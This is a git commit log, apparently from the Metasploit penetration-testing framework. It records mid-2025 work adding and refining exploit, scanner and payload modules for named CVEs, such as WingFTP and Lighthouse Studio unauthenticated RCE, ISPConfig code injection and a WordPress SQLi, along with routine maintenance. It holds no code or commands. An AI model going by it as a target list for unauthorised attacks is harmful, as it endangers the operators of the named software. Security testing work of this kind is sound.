laptop 9c1b7e94eb –fix(redis_server): Correctly parse multi-word Redis commands 2025-07-23 11:50:34 +08:00
jenkins-metasploit 0a1cbf131d automatic module_metadata_base.json update 2025-07-22 15:27:53 +00:00
jheysel-r7 05f2012ccc Merge pull request #20338 from Chocapikk/xorcom
Add auxiliary and exploit modules for Xorcom CompletePBX 5.2.35 CVEs (2025-2292, 30004, 30005)
2025-07-22 08:19:36 -07:00
Martin Sutovsky 75f6e6a748 Refactors code, adds description, fixes CVE 2025-07-22 16:24:35 +02:00
Martin Sutovsky 4708a25dfa Module init 2025-07-22 11:11:19 +02:00
Vognik d62ef448f1 Code Review Edits 2025-07-22 04:40:14 +04:00
Vognik 1c1b574b81 Removed Debug Print 2025-07-21 21:37:52 +04:00
Vognik d57a36413d Fix Tests 2025-07-21 21:34:41 +04:00
Vognik 6276b27dfc Improved Exploit Stability on Windows 2025-07-21 21:34:01 +04:00
Martin Sutovsky ed5c13330f Module init 2025-07-21 12:41:38 +02:00
Maksim Rogov 85e97aaaf5 Fix STUDYNAME empty check 2025-07-21 13:14:19 +03:00
Vognik e90396a15f Execute Method Refactoring 2025-07-21 13:59:43 +04:00
Vognik c06a7c477b Check Method Refactoring 2025-07-21 13:06:51 +04:00
Vognik 45a6176a9c Removed Limits 2025-07-21 11:03:24 +04:00
Vognik 6bf385e17a Removed dublicate logging bug 2025-07-21 03:20:34 +04:00
Vognik a836c9bc5e Fixed CVE Format 2025-07-21 03:17:57 +04:00
Vognik 75e1158457 Fixed docs formatting 2025-07-21 03:16:40 +04:00
h00die-gr3y 58704e9eab init module + documentation 2025-07-20 19:06:01 +00:00
Vognik e7667d406a Add Lighthouse Studio unauthenticated RCE (CVE-2025-34300) 2025-07-20 15:23:38 +04:00
Valentin Lobstein e42af1843b Lint 2025-07-19 03:22:12 +01:00
Valentin Lobstein 2bb2bbc5bd Update wp_depicter_sqli_cve_2025_2011.rb 2025-07-19 04:07:22 +02:00
Valentin Lobstein 56f6a65e21 Update lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-19 04:04:25 +02:00
Valentin Lobstein 4a1f9e541e Update lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-19 04:04:14 +02:00
jenkins-metasploit 6dcefab6ab automatic module_metadata_base.json update 2025-07-18 23:45:22 +00:00
jheysel-r7 00c8c773a3 Merge pull request #20375 from Chocapikk/wp_photo_gallery_sqli
WP Photo Gallery by 10Web Unauthenticated SQLi (CVE-2022-0169)
2025-07-18 16:37:14 -07:00
Spencer McIntyre 54c5cdaf61 Update the acceptance tests 2025-07-18 17:29:35 -04:00
Spencer McIntyre 714f667c0f Finish adding gMSA secret dumping 2025-07-18 17:10:35 -04:00
Spencer McIntyre 68a3f5624c Define empty NT and LM hash constants 2025-07-18 16:50:54 -04:00
Spencer McIntyre 8928362581 Support formatting passwords without the database 2025-07-18 16:50:33 -04:00
Spencer McIntyre 82610aec24 Initial commit of extracting gMSA secrets from LDAP 2025-07-18 10:59:15 -04:00
h00die-gr3y abbcdda694 update based on adfoster-r7 comments 2025-07-18 07:22:01 +00:00
Metasploit b6a04c2b97 Bump version of framework to 6.4.76 2025-07-17 08:28:35 -05:00
Umut 708dcaf36e Delete unnecessary comments 2025-07-17 15:28:20 +03:00
adfoster-r7 8fe815da6f Merge pull request #20394 from cgranleese-r7/update-docs-to-reflect-new-default-prompt
Updates docs to reflect new default prompt
2025-07-17 12:53:02 +01:00
cgranleese-r7 adff497bd2 Updates msf5 as well 2025-07-17 11:51:29 +01:00
jenkins-metasploit 2601c0720b automatic module_metadata_base.json update 2025-07-17 10:06:42 +00:00
Diego Ledda 18d61d3763 Merge pull request #20356 from msutovsky-r7/exploit/pandorafms_netflow_rce
Add module for authenticated PandoraFMS command injection (CVE-2025-5306)
2025-07-17 11:58:54 +02:00
adfoster-r7 cf134986df Merge pull request #20395 from sjanusz-r7/bump-rex-socket
Bump rex-socket to 0.1.63
2025-07-17 10:47:18 +01:00
Diego Ledda ca9535e39a Update pandora_fms_auth_netflow_rce.md 2025-07-17 11:29:07 +02:00
sjanusz-r7 99c9e8c8e7 Fix acceptance tests prompt matching 2025-07-17 10:18:25 +01:00
sjanusz-r7 3bb3429d86 Bump rex-socket to 0.1.63 2025-07-17 10:10:12 +01:00
cgranleese-r7 469f102596 Updates docs to reflect new default prompt 2025-07-17 09:53:40 +01:00
Umut 90d15cbe61 finalize the payload
add CachedSize & fix the fifth arg problem & run rubocop
2025-07-17 11:39:44 +03:00
cgranleese-r7 f16de58f5a Merge pull request #20390 from adfoster-r7/pin-stringio-version
Pin StringIO version
2025-07-17 09:33:44 +01:00
cgranleese-r7 73470fece3 Merge pull request #20392 from zeroSteiner/fix/issue/20355
Remove the version from the default prompt
2025-07-17 09:17:49 +01:00
cgranleese-r7 170cb151bb Merge pull request #20391 from zeroSteiner/fix/issue/20366
Add a missing keyword for option validation
2025-07-17 09:01:45 +01:00
Chocapikk 7431958e5c Update url reference 2025-07-16 22:59:48 +02:00
Chocapikk 4e70dfe70d Rename mixin 2025-07-16 22:40:27 +02:00
Chocapikk 1863eddcd4 chore: add magic encoding comment to Ruby files 2025-07-16 22:32:20 +02:00
Chocapikk 1fb6d488a8 Rename file 2025-07-16 22:30:28 +02:00
Chocapikk ac62c42be8 chore(wp_depicter): remove unused Actions block 2025-07-16 22:20:31 +02:00
Chocapikk efa49d2aa2 refactor(wp_photo_gallery): drop unused action + guard against LocalJumpError in SQLi helper 2025-07-16 22:04:13 +02:00
Chocapikk 7ddae3ec3f refactor(xorcom): rename helper to completepbx? + pass creds to completepbx_login 2025-07-16 21:48:34 +02:00
Spencer McIntyre 28108517a7 Remove the version from the default prompt
Fixes #20355
2025-07-16 15:40:54 -04:00
Spencer McIntyre be10b827b8 Add a missing keyword for option validation 2025-07-16 15:34:14 -04:00
Chocapikk b06903810c feat(xorcom): add shared CompletePBX mixin, refactor modules, update docs 2025-07-16 21:25:17 +02:00
Valentin Lobstein 136cc0ab3d Update modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-16 19:33:44 +02:00
Valentin Lobstein 131ce6cb3f Update modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-16 19:33:31 +02:00
Valentin Lobstein daf6cb3c84 Update modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-16 19:33:23 +02:00
Valentin Lobstein 65b7415bcc Update modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-16 19:33:15 +02:00
Valentin Lobstein 82d558bf2a Update modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-16 19:33:04 +02:00
Valentin Lobstein eb81de6620 Update documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-16 19:32:52 +02:00
adfoster-r7 850b93445c Pin StringIO version 2025-07-16 18:04:23 +01:00
adfoster-r7 8fdf0eacbc Merge pull request #20389 from cdelafuente-r7/enh/gems_version_bump
Bump data_models gem to 6.0.10 and model gem to 5.0.4
2025-07-16 16:43:57 +01:00
Christophe De La Fuente 0f86dd7c5f Bump data_models gem to 6.0.10 and model gem to 5.0.4 2025-07-16 17:14:48 +02:00
Martin Sutovsky f773e3aef9 Updates docs 2025-07-16 12:25:28 +02:00
jenkins-metasploit 87122cbe94 automatic module_metadata_base.json update 2025-07-16 10:17:45 +00:00
Simon Janusz 166479f6bc Merge pull request #20388 from jheysel-r7/fix/regression/ad_cs_cert_template
Fix the UPDATE Action in the ad_cs_cert_template Module
2025-07-16 11:09:27 +01:00
h00die-gr3y 7a9cd79170 small update on the documentation 2025-07-16 09:32:47 +00:00
h00die-gr3y 639315452c added attackerkb reference + documenttaion 2025-07-16 09:29:14 +00:00
Umut 0344591863 fix 5th arg for URLDownloadToFileA 2025-07-16 11:35:35 +03:00
Jack Heysel e328a8f8c4 Fix update action in ad_cs_cert_template 2025-07-15 17:20:36 -07:00
h00die 71d0d037b5 add spec for linux user lib 2025-07-15 20:38:32 +00:00
h00die 83a6e82603 Update lib/msf/core/post/linux/user.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-07-15 16:29:22 -04:00
h00die-gr3y f6e0c43ed9 init module 2025-07-15 19:06:00 +00:00
jenkins-metasploit 04c7945d4a automatic module_metadata_base.json update 2025-07-15 17:48:05 +00:00
jheysel-r7 914f874e12 Merge pull request #20216 from sjanusz-r7/add-graphql-aux-scanner-module
Add GraphQL Auxiliary Scanner module
2025-07-15 10:39:44 -07:00
Umut a412070a12 Create download_exec.rb 2025-07-15 16:50:59 +03:00
bcoles c5ec45452a Add Malicious Windows Registration Entries (.reg) File module 2025-07-13 23:41:59 +10:00
Chocapikk c45481fa58 fix: guard get_sqli_object JSON extraction to avoid NoMethodError 2025-07-12 15:12:02 +02:00
Chocapikk 9aef758c31 fix: abort run when get_sqli_object returns error constant 2025-07-12 15:09:05 +02:00
Chocapikk 869ed8d818 fix: replace return with next in get_sqli_object to prevent LocalJumpError 2025-07-12 15:00:57 +02:00
h00die f9a804d649 persistence libraries 2025-07-11 17:35:06 -04:00
jenkins-metasploit 60a6658f0e automatic module_metadata_base.json update 2025-07-11 15:26:36 +00:00
Brendan b4188e70be Merge pull request #20357 from xaitax/add-windows-aarch64-winexec-payload
Revive and Finalize windows/aarch64/exec Payload
2025-07-11 10:18:17 -05:00
msutovsky-r7 3e5bdda701 Land #20359, fixes payload reloading
Fix payload module reloading functionality
2025-07-11 13:28:06 +02:00
Corey 0f7aafa48e Add session platform, apply Rubocop changes 2025-07-10 14:09:44 -04:00
Metasploit 74cce35cf0 Bump version of framework to 6.4.75 2025-07-10 11:31:34 -05:00
Corey 0f0ca54e6c Remove get_python method 2025-07-10 11:57:06 -04:00
adfoster-r7 7a2753fa91 Merge pull request #20377 from adfoster-r7/update-license-generation
Update license generation
2025-07-10 15:56:56 +01:00
adfoster-r7 c2007c796e Update license generation 2025-07-10 15:32:36 +01:00
Chocapikk 9d56001643 fix 2025-07-10 16:20:53 +02:00
Valentin Lobstein cf0596a8e9 Update modules/auxiliary/gather/wp_photo_gallery_sqli.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-07-10 16:19:13 +02:00
Valentin Lobstein 69f8679ac2 Update modules/auxiliary/gather/wp_photo_gallery_sqli.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-07-10 16:18:27 +02:00
Alex 8d0aaac0db Update data/templates/src/pe/exe/template_aarch64_windows.asm
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-07-10 14:37:23 +02:00
Chocapikk 622072bba4 WP Photo Gallery by 10Web Unauthenticated SQLi (CVE-2022-0169) 2025-07-10 13:22:19 +02:00
Alex b643c62eb6 Appeasing the RuboCop gods: added docs, fixed warnings, made it happy. 2025-07-10 13:18:40 +02:00
Martin Sutovsky 8e16a50363 Adds reloading for stagers/stages/adapters 2025-07-10 11:09:10 +02:00
jenkins-metasploit 14fb001457 automatic module_metadata_base.json update 2025-07-09 18:15:36 +00:00
Brendan 36675ccd9a Merge pull request #20349 from sfewer-r7/0day-cve-2024-51978
Add auxiliary module for multiple Brother devices authentication bypass (CVE-2024-51978)
2025-07-09 13:07:25 -05:00
sfewer-r7 df24090fc0 fix typo in message 2025-07-09 14:59:54 +01:00
sfewer-r7 ab913b0416 make this error message not that no password may be present on the device 2025-07-09 14:58:59 +01:00
dledda-r7 ea68ee5dc7 chore: update template_aarch64_windows.exe 2025-07-09 08:54:54 -04:00
sfewer-r7 34952d73f6 display the AuthCookie if one is received 2025-07-09 10:15:30 +01:00
jenkins-metasploit 32559a328f automatic module_metadata_base.json update 2025-07-09 05:55:58 +00:00
msutovsky-r7 ffdfa07954 Land #20354, adds module for ISPConfig code injection (CVE-2023-46818)
Add module for ISPConfig Code Injection (CVE-2023-46818)
2025-07-09 07:47:56 +02:00
jenkins-metasploit 4626e8fce9 automatic module_metadata_base.json update 2025-07-08 21:46:05 +00:00
jheysel-r7 79d67dd1f0 Merge pull request #20345 from zeroSteiner/feat/lib/ldap-adds/1
Add an Active Directory LDAP Mixin
2025-07-08 14:37:23 -07:00
Spencer McIntyre 2ab90df4b2 Check for full permissions on certs too 2025-07-08 15:46:43 -04:00
Spencer McIntyre 566020abbf Cache the result of whoami 2025-07-08 15:43:41 -04:00
Spencer McIntyre 23c02d6873 Note the permissions required for checking permissions 2025-07-08 15:01:54 -04:00
Spencer McIntyre 2650956fce Add special handling for more groups
Add handling for the special `Authenticated Users` and `Users` groups.
2025-07-08 15:01:54 -04:00
Spencer McIntyre a93d20ccfe Add some basic tests 2025-07-08 15:01:54 -04:00
Spencer McIntyre d0d3a2719d Add some commented code for debugging
Squash me
2025-07-08 15:01:54 -04:00
Spencer McIntyre 8b8b350950 Use the new function instead of the old 2025-07-08 15:01:54 -04:00
Spencer McIntyre 7cacc4cd45 Update the ad_cs_cert_template module too 2025-07-08 15:01:54 -04:00
Spencer McIntyre c2a06e341d Expand on the matcher logic 2025-07-08 15:01:46 -04:00
Corey 2351a6a9bc Minor changes to options, add documentation 2025-07-08 13:30:22 -04:00
Spencer McIntyre 65124d0c62 Merge pull request #20373 from adfoster-r7/update-metasploit-docs-branding
Update Metasploit docs branding
2025-07-08 13:28:39 -04:00
Corey 8a8e3a3047 Rubocop changes 2025-07-08 13:01:09 -04:00
Corey c9d41be766 Add authors, print cleanup, rename vars 2025-07-08 13:00:15 -04:00
adfoster-r7 fe4da472f0 Update Metasploit docs branding 2025-07-08 17:22:52 +01:00
gardnerapp d694c27119 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-08 10:54:08 -04:00
gardnerapp d2c7ac8d51 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-08 10:53:47 -04:00
gardnerapp 52acc15a51 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-08 10:53:28 -04:00
gardnerapp b3e16e9c47 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-08 10:52:58 -04:00
Rudraditya Thakur ef611d1815 Merge pull request #1 from msutovsky-r7/collab/cve-2023-46818
Refactors and updates the docs
2025-07-08 07:48:59 -07:00
adfoster-r7 3dc9e6a9b5 Merge pull request #20371 from zeroSteiner/feat/ui/r7-banner
Update the banner for brand consistency
2025-07-08 14:20:42 +01:00
Spencer McIntyre 432bcfc4d3 Mention our corporate sponsors in the banner 2025-07-08 08:37:14 -04:00
adfoster-r7 306840831f Merge pull request #19709 from szymonj99/bump-irb
Bump IRB
2025-07-07 13:54:45 +01:00
jenkins-metasploit a8bb2189e7 automatic module_metadata_base.json update 2025-07-07 11:20:21 +00:00
msutovsky-r7 93f902fe27 Land #20364, adds WingFTP unauthenticated RCE module
Add WingFTP unauthenticated RCE (CVE-2025-47812)
2025-07-07 13:12:10 +02:00
szymonj99 11099c2d3b Bump IRB 2025-07-07 11:56:30 +01:00
Martin Sutovsky ffa2152a6a Updates docs 2025-07-07 11:56:53 +02:00
Martin Sutovsky 7d881567f2 Refactors code 2025-07-07 11:54:28 +02:00
adfoster-r7 ada43cd132 Merge pull request #20209 from adfoster-r7/update-ruby-version-3.3.8
Update ruby version 3.3.8
2025-07-07 10:12:34 +01:00
jenkins-metasploit 1e0a3de01e automatic module_metadata_base.json update 2025-07-06 17:04:38 +00:00
msutovsky-r7 bc705b8c5a Land #20334, adds payload linux/x64/set_hostname
Add payload/linux/x64/set_hostname module.
2025-07-06 18:56:43 +02:00
Chocapikk 7629dd7518 DRY code, grab wingftp version in check method 2025-07-05 22:25:45 +02:00
Martin Sutovsky 1ee9d61de1 Running Rubocop 2025-07-05 15:57:38 +02:00
Umut f0a64b92a7 Update CachedSize 2025-07-04 18:22:52 +03:00
Umut 4cb523a20c Add exit(0) syscall 2025-07-04 18:21:20 +03:00
Umut 2c167799f1 Merge pull request #2 from msutovsky-r7/collab/payload/update_specs
Updates specs
2025-07-04 14:57:03 +03:00
Martin Sutovsky a09415fa4a Updates specs for set_hostname payload 2025-07-04 12:59:12 +02:00
Umut 4e27e2fa18 Merge pull request #1 from msutovsky-r7/collab/payload/set_hostname_linux_x64
Rewrites shellcode to smaller size, rubocopes
2025-07-04 13:37:28 +03:00
Martin Sutovsky b1de0c6313 Removes null-bytes 2025-07-04 12:30:01 +02:00
Martin Sutovsky dbe422698f Updates cached_size 2025-07-04 12:16:16 +02:00
Martin Sutovsky d0df343f74 Rewriting shellcode, making it smaller 2025-07-04 12:12:00 +02:00
Martin Sutovsky 195b874190 Addressing comments 2025-07-04 08:54:30 +02:00
Valentin Lobstein b9ee9ba88c Update wingftp_null_byte_rce.md 2025-07-03 19:43:06 +02:00
Valentin Lobstein 6edbfb32ec Update modules/exploits/multi/http/wingftp_null_byte_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2025-07-03 19:42:01 +02:00
Valentin Lobstein ef3ddec3dd Update documentation/modules/exploit/multi/http/wingftp_null_byte_rce.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2025-07-03 19:41:34 +02:00
happybear-21 1700b2eaaa fixed: rubocop issues, changes resolved 2025-07-03 21:25:19 +05:30
jenkins-metasploit 346c17dcb7 automatic module_metadata_base.json update 2025-07-03 13:37:36 +00:00
msutovsky-r7 0553d6b4e6 Land #20365, fixes/refactors the Maltrail RCE module
Fix `exploit/unix/http/maltrail_rce.rb`
2025-07-03 15:29:28 +02:00
Chocapikk 1944c699f8 Fix exploit/unix/http/maltrail_rce.rb 2025-07-03 14:07:14 +02:00
Valentin Lobstein d79810a7e3 Update modules/exploits/multi/http/wingftp_null_byte_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-03 13:54:11 +02:00
Valentin Lobstein d625ab5fbc Update modules/exploits/multi/http/wingftp_null_byte_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-03 13:54:01 +02:00
Alex e351da472f Merge pull request #1 from msutovsky-r7/collab/fix/payload-reload
Collab/fix/payload reload
2025-07-03 11:12:25 +02:00
Martin Sutovsky b9e8c9d111 Removes debug stuff 2025-07-03 11:09:36 +02:00
Martin Sutovsky 9445bb3885 Fixing payload reloading 2025-07-03 11:07:30 +02:00
Alex 8bf1c40f95 Update reloading.rb 2025-07-03 10:55:01 +02:00
Metasploit 5c08321212 Bump version of framework to 6.4.74 2025-07-03 03:33:14 -05:00
Alex e11277f2f5 Update reloading.rb 2025-07-03 08:12:54 +02:00
Valentin Lobstein 32f7754774 Update modules/exploits/multi/http/wingftp_null_byte_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-07-02 14:42:34 +02:00
Chocapikk 5b268bd4b4 Fix documentation and typos 2025-07-01 22:50:01 +02:00
Corey e465720a3c Rubocop changes 2025-07-01 14:36:20 -04:00
Corey a66d60bf76 Move module to multi, add get_python method 2025-07-01 14:34:51 -04:00
Chocapikk f7a649c121 Remove php mixin and arch 2025-07-01 19:43:21 +02:00
Chocapikk 5d9eb58848 Remove useless mixin 2025-07-01 19:39:26 +02:00
Chocapikk 1a4a15e83b Add WingFTP unauthenticated RCE (CVE-2025-47812) 2025-07-01 19:15:15 +02:00
happybear-21 03e943726a resolved: changes updated methods 2025-07-01 21:33:41 +05:30
sfewer-r7 a7e4b5601f update the docs to use AUTO for the enum option 2025-07-01 15:06:44 +01:00
Stephen Fewer 56354849f0 favor AUTO over ANY for this enum usage
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-07-01 15:05:09 +01:00
Stephen Fewer 14512d7d17 favor AUTO over ANY for this enum
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-07-01 15:04:57 +01:00
happybear-21 20134b5ced resolved: changes 2025-07-01 15:37:10 +05:30
Alex 9470a8b407 Update lib/msf/core/module_manager/reloading.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-01 10:46:16 +02:00
Alex d77d0537a4 Update lib/msf/core/module_manager/reloading.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-01 08:39:26 +02:00
Alex 743478b79e Update lib/msf/core/module_manager/reloading.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-01 08:38:52 +02:00
Alex efc6152664 Update lib/msf/core/module_manager/reloading.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-01 08:38:41 +02:00
Alex 74de17fcab Update lib/msf/core/module_manager/reloading.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-01 08:38:34 +02:00
Alex f2b3e00f01 Update lib/msf/core/module_manager/reloading.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-01 08:37:41 +02:00
Alex e657aee397 Update lib/msf/core/module_manager/reloading.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-01 08:37:35 +02:00
Alex 18ec6af5af Update lib/msf/core/module_manager/reloading.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-01 08:37:27 +02:00
Alex 232f1b4597 Update lib/msf/core/module_manager/reloading.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-01 08:37:21 +02:00
Chocapikk 8373634932 Add defanged mode, fix metadata, add error handling for zip files 2025-06-30 17:38:13 +02:00
Valentin Lobstein d0aaf70bbb Update modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-06-30 17:13:33 +02:00
Valentin Lobstein fd5894d64a Update modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-06-30 17:13:26 +02:00
happybear-21 47f2ba2861 removed: unused imports, and functions, removed: falsey statements, resolved: changes 2025-06-30 20:34:17 +05:30
jenkins-metasploit eb638820e2 automatic module_metadata_base.json update 2025-06-30 14:49:29 +00:00
adfoster-r7 3a034ba2ba Merge pull request #20362 from sjanusz-r7/improve-bleichenbacher-oracle-python-version-detection
Fix Bleichenbacher Oracle module on hosts with Python 2
2025-06-30 15:18:44 +01:00
Alex 91a3cc27cd Update modules/payloads/singles/windows/aarch64/exec.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-06-30 14:46:51 +02:00
sjanusz-r7 41b83b7170 Fix Bleichenbacher Oracle module on hosts with Python 2 2025-06-30 13:02:40 +01:00
adfoster-r7 f0626b38cb Update ruby version 3.3.8 2025-06-30 11:58:41 +01:00
Metasploit 65faeb438c Bump version of framework to 6.4.73 2025-06-29 15:25:40 -05:00
cgranleese-r7 07ae49d6dc Merge pull request #20360 from adfoster-r7/add-syslog-to-gemspec
Add syslog to gemspec
2025-06-29 17:40:40 +01:00
adfoster-r7 bdc368f792 Add syslog to gemspec 2025-06-29 15:57:53 +01:00
jenkins-metasploit 583ffce9d7 automatic module_metadata_base.json update 2025-06-29 14:45:21 +00:00
cgranleese-r7 f57a3c278c Merge pull request #20358 from adfoster-r7/fix-module-cache-generation
Fix module cache generation
2025-06-29 13:44:28 +01:00
Alex 8034930ce1 Fix payload module reloading functionality 2025-06-29 12:00:58 +02:00
happybear-21 ff15b581ed resolved: issues 2025-06-29 12:34:38 +05:30
adfoster-r7 66bae427fb Fix module cache generation 2025-06-29 01:05:42 +01:00
Alex 3069d6a3b8 Readability 2025-06-28 23:25:23 +02:00
Martin Sutovsky 5c8d918e3d Fixes documentation 2025-06-28 17:07:44 +02:00
Martin Sutovsky af4cd2ab6a Addresses comments, fixes check method 2025-06-28 17:05:52 +02:00
happybear-21 e77abd9bbc added: automatic admin_allow_langedit permission checking and enabling capability 2025-06-28 16:20:49 +05:30
Alex 7b76a832ac Add ASM template 2025-06-28 10:15:28 +02:00
Alex 114def2352 Merge branch 'rapid7:master' into add-windows-aarch64-winexec-payload 2025-06-27 23:57:55 +02:00
Alex 1dadec8369 Revive windows/aarch64/exec Payload 2025-06-27 23:57:12 +02:00
Spencer McIntyre 50a2749f97 Merge pull request #20289 from cgranleese-r7/adds-mitre-attack-references
Adds support for MITRE ATT&CK References
2025-06-27 11:26:09 -04:00
msutovsky-r7 126bff18a1 Land #20346, fixes payload encoding and substitutes for smaller base64 encoder
Use the smaller base64 encoder
2025-06-27 17:15:05 +02:00
happybear-21 93a8334699 fixed: build issue 2025-06-27 20:16:07 +05:30
happybear-21 840ae0f317 resolved: issues 2025-06-27 19:42:35 +05:30
Diego Ledda a7b038b822 Merge pull request #20341 from msutovsky-r7/exploit/skyvern_ssti_rce
Adds module for Skyvern SSTI (CVE-2025-49619)
2025-06-27 14:14:40 +02:00
Martin Sutovsky ee890a83ca Adds BadChars 2025-06-27 11:03:08 +02:00
Martin Sutovsky 37e8780a6b Code refactor, docs 2025-06-27 10:26:31 +02:00
Stephen Fewer 18b00cebbb Use a more permissive regex to pull out the logbox name value
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-06-26 16:39:36 +01:00
sfewer-r7 6bdebf6ee3 add the salt_table_index value in the failure message 2025-06-26 16:35:21 +01:00
Stephen Fewer 84dda69ee0 this status message should explicitly say it has generated the *default* password
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-06-26 16:34:04 +01:00
Stephen Fewer a7b26ac74d fail with a message that includes the unexpected length value
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-06-26 16:32:08 +01:00
Stephen Fewer f66389bbbf include the password in the verbose status message
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-06-26 16:31:31 +01:00
sfewer-r7 c6ffcdb2f8 This resolves the 'Proto is not included in the list' error during create_credential 2025-06-26 16:11:38 +01:00
adfoster-r7 a0bb2d8c89 Merge pull request #20298 from bcoles/modules-SSL
Modules: Convert SSL default option to Boolean in several modules
2025-06-26 15:00:59 +01:00
Martin Sutovsky 7b845fa3df Fixed documentation issues 2025-06-26 12:08:51 +02:00
Martin Sutovsky 240bc828f1 Removing header 2025-06-26 12:08:51 +02:00
Metasploit 29b0efc5cf Bump version of framework to 6.4.72 2025-06-26 03:33:38 -05:00
happybear-21 016f4ea142 resolved: issues 2025-06-26 10:26:05 +05:30
happybear-21 d787444137 Add exploit module for ISPConfig language_edit.php PHP Code Injection (CVE-2023-46818)
- Adds modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb
- Adds documentation for the module in documentation/modules/exploit/linux/http/ispconfig_lang_edit_php_code_injection.md
- Module targets ISPConfig < 3.2.11p1 with admin_allow_langedit enabled
- References and implementation based on PoC and advisories at https://github.com/SyFi/CVE-2023-46818
2025-06-25 22:27:52 +05:30
cgranleese-r7 a6cdb6deb9 Adds support for MITRE ATT&CK References 2025-06-25 17:24:47 +01:00
adfoster-r7 256ad33585 Merge pull request #20353 from cgranleese-r7/add-validation-for-arch-values
Add validation for arch values
2025-06-25 17:13:01 +01:00
cgranleese-r7 00c88caffb Updates incorrect arch values in modules 2025-06-25 16:57:27 +01:00
cgranleese-r7 a9a8ac7762 Adds validation for arch values 2025-06-25 16:57:23 +01:00
adfoster-r7 bbcac720e5 Merge pull request #20351 from cgranleese-r7/fix-non-printable-chars-in-module-description-and-name
Fix non-printable non-ascii chars in module description and name
2025-06-25 15:39:59 +01:00
cgranleese-r7 04a18fb3ca Updates modules to remove non-printable chars 2025-06-25 14:19:56 +01:00
cgranleese-r7 64504319e6 Updates module validation to check description and name for non-printable chars 2025-06-25 14:19:43 +01:00
msutovsky-r7 fdc78b40bb Add more clear installation steps
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-06-25 15:17:58 +02:00
Martin Sutovsky 0a39f6670a Fixing payload execution 2025-06-25 12:44:37 +02:00
Diego Ledda fda250d604 Merge pull request #19910 from msutovsky-r7/fix/add-PPC64-template
Fixing PPC64 template and payloads
2025-06-25 12:33:39 +02:00
msutovsky-r7 fde78bf73f Land #20324, adds exploit for UNC path in .url files (CVE-2025-33053)
Adds exploit module for Internet Shortcut UNC path vulnerability (CVE-2025-33053)
2025-06-25 11:23:23 +02:00
Diego Ledda 6d843385ec Merge pull request #20301 from msutovsky-r7/exploit/cve-2021-25094
Adds module for Tatsu WP plugin (CVE-2021-25094)
2025-06-25 10:58:22 +02:00
adfoster-r7 f91f525e1e Merge pull request #20350 from cgranleese-r7/adds-sentinel-values-to-modules-missing-one-or-more-notes
Adds sentinel notes to modules that are missing stability, reliability or side effects
2025-06-25 09:50:09 +01:00
cgranleese-r7 40ca2b3b1b Adds sentinel notes to modules that are missing stability, reliability or side effects 2025-06-25 09:32:01 +01:00
Diego Ledda afdad8ed4c chore(wp_tatsu_rce): msftidy_docs fix 2025-06-25 10:16:49 +02:00
